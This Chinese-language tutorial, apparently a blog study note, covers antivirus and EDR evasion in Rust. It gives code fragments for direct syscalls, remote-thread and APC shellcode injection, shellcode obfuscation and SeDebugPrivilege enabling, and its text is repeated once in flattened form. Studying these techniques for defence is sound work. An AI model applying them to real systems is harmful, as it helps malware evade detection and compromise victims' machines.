免杀初步学习(二)
字数 1767 2025-08-06 12:20:48

免杀初步学习(二):系统调用与代码注入技术详解

目录

  1. 系统调用基础
  2. 直接系统调用实现免杀
  3. 代码注入技术
  4. 权限提升技术
  5. 总结与参考

系统调用基础

Windows系统权限级别分为R0-R3四个级别:

  • R0:内核态,最高权限
  • R3:用户态,最低权限
  • R1-R2:通常用于设备驱动

用户态(R3)到内核态(R0)的转换通过ntdll.dll中的Native API实现,这些函数以"Nt"或"Zw"开头。调用流程如下:

用户API (如ReadFile) → 内核API (如NtReadFile) → 系统调用 (syscall)

EDR(终端检测与响应)通常hook用户态API,但可能不会hook底层NT函数,因此直接系统调用可以绕过部分EDR检测。

系统调用号存储在eax寄存器中,syscall指令根据eax值调用不同的内核函数。

直接系统调用实现免杀

使用Rust实现直接系统调用的步骤:

  1. 创建build.rs文件编译汇编代码:
fn main() {
    cc::Build::new()
        .file("1.c")
        .file("1.x64.asm")
        .compile("sys");
}
  1. 在Rust中链接并调用NT函数:
#[link(name = "sys")]
extern "C" {
    fn NtCreateThreadEx(
        ThreadHandle: *mut HANDLE,
        DesiredAccess: ACCESS_MASK,
        ObjectAttributes: *mut OBJECT_ATTRIBUTES,
        ProcessHandle: HANDLE,
        StartRoutine: *mut VOID,
        Argument: *mut VOID,
        CreateFlags: ULONG,
        ZeroBits: SIZE_T,
        StackSize: SIZE_T,
        MaximumStackSize: SIZE_T,
        AttributeList: *mut PS_ATTRIBUTE_LIST
    ) -> NTSTATUS;
}
  1. 调用示例:
let status = NtCreateThreadEx(
    &mut thread_handle,
    desired_access,
    object_attributes,
    process_handle,
    start_routine,
    argument,
    create_flags,
    zero_bits,
    stack_size,
    maximum_stack_size,
    attribute_list,
);

代码注入技术

远程线程注入

经典远程线程注入流程:

  1. 使用CreateToolhelp32Snapshot和Process32Next遍历进程
  2. 找到目标进程(如notepad.exe)
  3. OpenProcess打开目标进程
  4. VirtualAllocEx在目标进程分配内存
  5. WriteProcessMemory写入shellcode
  6. CreateRemoteThread创建远程线程执行shellcode

Rust实现关键代码:

let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID);
let remote_buffer = VirtualAllocEx(process_handle, NULL, shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process_handle, remote_buffer, shellcode.as_ptr() as *const c_void, shellcode.len(), NULL as *mut usize);
let remote_thread = CreateRemoteThread(process_handle, NULL, 0, Some(std::mem::transmute(remote_buffer)), NULL, 0, NULL);

免杀技巧:

  • 对shellcode进行简单混淆处理,如:
fn StrToU8Array(str: &str) -> Vec<u8> {
    let hex_string = str.replace("%%##..", "");
    hex::decode(hex_string).unwrap()
}

使用类似%%##..fc%%##..48%%##..83的格式存储shellcode

APC注入

APC基础原理

APC(异步过程调用)是一个链状数据结构,每个线程维护一个APC队列。当线程从等待状态苏醒时,会自动检查并执行APC队列中的函数。

APC两种形式:

  1. 用户模式APC:函数地址在用户空间
  2. 内核模式APC:函数地址在内核空间

关键函数:

DWORD QueueUserAPC(
    PAPCFUNC pfnAPC,    // APC函数地址
    HANDLE hThread,     // 线程句柄
    ULONG_PTR dwData    // APC函数参数
);

ResumeThread触发APC注入

实现步骤:

  1. 遍历进程和线程,找到目标进程(如explorer.exe)
  2. 提升当前进程权限(SeDebugPrivilege)
  3. 在目标进程分配内存并写入shellcode
  4. 向目标进程的所有线程插入APC
  5. 使用ResumeThread恢复线程执行

关键代码:

let thread_handle = OpenThread(THREAD_ALL_ACCESS, 0, thread_id);
QueueUserAPC(apc_func, thread_handle, 0);
ResumeThread(thread_handle);

NtTestAlert本地进程注入

简化版APC注入,使用当前线程:

  1. 分配内存并写入shellcode
  2. 将shellcode地址加入APC队列
  3. 调用NtTestAlert触发APC执行

关键代码:

let apc_func = std::mem::transmute::<*mut c_void, Option<unsafe extern "system" fn(usize)>>(base_address);
QueueUserAPC(apc_func, GetCurrentThread(), 0);
NtTestAlert();

创建挂起进程APC注入

更可靠的APC注入方法:

  1. 以CREATE_SUSPENDED标志创建进程
  2. 在目标进程分配内存并写入shellcode
  3. 插入APC到主线程
  4. 恢复进程执行

关键代码:

let create_proc_result = CreateProcessA(
    app_path.as_ptr(),
    null_mut(),
    null_mut(),
    null_mut(),
    false as i32,
    CREATE_SUSPENDED,
    null_mut(),
    null_mut(),
    &mut si,
    &mut pi
);
QueueUserAPC(apc_func, pi.hThread, 0);
ResumeThread(pi.hThread);

权限提升技术

提升SeDebugPrivilege权限的步骤:

  1. OpenProcessToken打开当前进程令牌
  2. LookupPrivilegeValue获取SE_DEBUG_NAME的LUID
  3. AdjustTokenPrivileges启用权限

Rust实现:

let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
LookupPrivilegeValueA(null(), b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid);
AdjustTokenPrivileges(h_token, 0, &mut tkp, 0, null_mut(), null_mut());

总结与参考

免杀关键点:

  1. 使用直接系统调用绕过用户态hook
  2. 对shellcode进行简单混淆处理
  3. 使用非常见API组合
  4. Rust语言本身特征较少,有利于免杀
  5. 每个免杀项目建议单独创建,避免无关代码影响

参考文章:

  • https://mp.weixin.qq.com/s?__biz=MzU0MDk1MDkwNQ==&mid=2247486593&idx=1&sn=e7654d74c20d0c84d30d575acb7e19eb
  • https://mp.weixin.qq.com/s?__biz=MzU0MDk1MDkwNQ==&mid=2247486595&idx=1&sn=b9fadc226ac74bc0bb726bacf24322e5
  • https://www.redteam101.tech/offensive-security/code-injection-process-injection/apc-queue-code-injection
免杀初步学习(二):系统调用与代码注入技术详解 目录 系统调用基础 直接系统调用实现免杀 代码注入技术 远程线程注入 APC注入 ResumeThread触发APC注入 NtTestAlert本地进程注入 创建挂起进程APC注入 权限提升技术 总结与参考 系统调用基础 Windows系统权限级别分为R0-R3四个级别: R0:内核态,最高权限 R3:用户态,最低权限 R1-R2:通常用于设备驱动 用户态(R3)到内核态(R0)的转换通过ntdll.dll中的Native API实现,这些函数以"Nt"或"Zw"开头。调用流程如下: EDR(终端检测与响应)通常hook用户态API,但可能不会hook底层NT函数,因此直接系统调用可以绕过部分EDR检测。 系统调用号存储在eax寄存器中,syscall指令根据eax值调用不同的内核函数。 直接系统调用实现免杀 使用Rust实现直接系统调用的步骤: 创建build.rs文件编译汇编代码: 在Rust中链接并调用NT函数: 调用示例: 代码注入技术 远程线程注入 经典远程线程注入流程: 使用CreateToolhelp32Snapshot和Process32Next遍历进程 找到目标进程(如notepad.exe) OpenProcess打开目标进程 VirtualAllocEx在目标进程分配内存 WriteProcessMemory写入shellcode CreateRemoteThread创建远程线程执行shellcode Rust实现关键代码: 免杀技巧: 对shellcode进行简单混淆处理,如: 使用类似 %%##..fc%%##..48%%##..83 的格式存储shellcode APC注入 APC基础原理 APC(异步过程调用)是一个链状数据结构,每个线程维护一个APC队列。当线程从等待状态苏醒时,会自动检查并执行APC队列中的函数。 APC两种形式: 用户模式APC:函数地址在用户空间 内核模式APC:函数地址在内核空间 关键函数: ResumeThread触发APC注入 实现步骤: 遍历进程和线程,找到目标进程(如explorer.exe) 提升当前进程权限(SeDebugPrivilege) 在目标进程分配内存并写入shellcode 向目标进程的所有线程插入APC 使用ResumeThread恢复线程执行 关键代码: NtTestAlert本地进程注入 简化版APC注入,使用当前线程: 分配内存并写入shellcode 将shellcode地址加入APC队列 调用NtTestAlert触发APC执行 关键代码: 创建挂起进程APC注入 更可靠的APC注入方法: 以CREATE_ SUSPENDED标志创建进程 在目标进程分配内存并写入shellcode 插入APC到主线程 恢复进程执行 关键代码: 权限提升技术 提升SeDebugPrivilege权限的步骤: OpenProcessToken打开当前进程令牌 LookupPrivilegeValue获取SE_ DEBUG_ NAME的LUID AdjustTokenPrivileges启用权限 Rust实现: 总结与参考 免杀关键点: 使用直接系统调用绕过用户态hook 对shellcode进行简单混淆处理 使用非常见API组合 Rust语言本身特征较少,有利于免杀 每个免杀项目建议单独创建,避免无关代码影响 参考文章: https://mp.weixin.qq.com/s?__ biz=MzU0MDk1MDkwNQ==&mid=2247486593&idx=1&sn=e7654d74c20d0c84d30d575acb7e19eb https://mp.weixin.qq.com/s?__ biz=MzU0MDk1MDkwNQ==&mid=2247486595&idx=1&sn=b9fadc226ac74bc0bb726bacf24322e5 https://www.redteam101.tech/offensive-security/code-injection-process-injection/apc-queue-code-injection